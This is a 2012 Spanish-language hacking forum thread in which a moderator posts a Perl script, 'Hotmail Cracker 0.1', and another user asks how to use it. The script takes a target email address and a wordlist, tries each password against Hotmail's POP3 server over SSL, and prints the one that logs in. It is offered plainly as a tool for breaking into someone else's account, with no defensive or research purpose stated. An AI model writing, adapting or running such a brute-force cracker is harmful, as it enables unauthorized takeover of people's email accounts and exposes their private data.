Bienvenido a Tecnohackers

Tecnohackers » General del foro » Area de Programacion » Scripting. VBS, Batch, Bash, JavaSript. (Moderador: Doddy)
 » 

[Perl] Hotmail Cracker 0.1


Páginas: [1]   Ir Abajo

Autor Tema: [Perl] Hotmail Cracker 0.1  (Leído 25 veces)

Desconectado Doddy

  • Moderator
  • Veterano
  • *****
  • Mensajes: 267
  • Slow Mind
[Perl] Hotmail Cracker 0.1
« en: Febrero 01, 2012, 02:57:01 pm »
Un simple script para crackear una cuenta Hotmail.

Código: No puedes ver links Registrate o Login
#Hotmail Cracker 0.1
#Coded By Doddy H
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

use Mail::POP3Client;
use IO::Socket::SSL;

head();

if($ARGV[0] and $ARGV[1]) {
crackhot($ARGV[0],$ARGV[1]);
} else {
print "\n[+] Sintax : $0 <email> <wordlist>\n";
}

copyright();

sub crackhot {

my($user,$wordlist) = @_ ;

unless(-f $wordlist) {
print "\n[-] Wordlist not found\n";
copyright();
}

print "\n[+] Loading wordlist\n";

open(FILE,$wordlist);
my @passwords = <FILE>;
close FILE;

print "\n[+] Words Found : ".int(@passwords)."\n";
print "\n[+] Cracking...\n\n";

for my $pass(@passwords) {
chomp $pass;

my $so = IO::Socket::SSL->new(PeerAddr=>"pop3.live.com",PeerPort => 995,Proto => "tcp");

my $nave = Mail::POP3Client->new();

$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);

if ($nave->Connect()) {
print "\a\a\n[+] Email : $user\n";
print "[+] Password : $pass\n";
$so->close();
$nave->close();
copyright();
}
$so->close();
$nave->close();
}

print "\n[+] Password not found\n";

}

sub head {
print "\n\n-- == Hotmail Cracker == --\n\n";
}

sub copyright {
print "\n\n(C) Doddy Hackman 2012\n\n";
exit(1);
}

# The End ?
En línea
No puedes ver links Registrate o Login

Desconectado 3dbu

  • Asiduo
  • *
  • Mensajes: 60
  • seek and then ask.
Re:[Perl] Hotmail Cracker 0.1
« Respuesta #1 en: Febrero 03, 2012, 04:03:31 pm »
Como se Usa ....danos una idea...
En línea
No puedes ver links Registrate o Login
Páginas: [1]   Ir Arriba
Tags:

 

Related Topics

  Asunto / Iniciado por Respuestas Último mensaje
0 Respuestas
274 Vistas 		Último mensaje Agosto 22, 2009, 12:47:29 am
por CronuX
0 Respuestas
207 Vistas 		Último mensaje Agosto 22, 2009, 02:03:19 am
por CronuX
0 Respuestas
34 Vistas 		Último mensaje Junio 16, 2011, 09:59:51 pm
por Doddy
0 Respuestas
18 Vistas 		Último mensaje Febrero 01, 2012, 02:52:31 pm
por Doddy


SMF 2.0.2 | SMF © 2011, Simple Machines
Paginas Afiliadas
InfraBios - i-hacker - Twitter - FaceBook - Troyanosyvirus - LaWebDeGoku - daraxblog
Designed by Smf Personal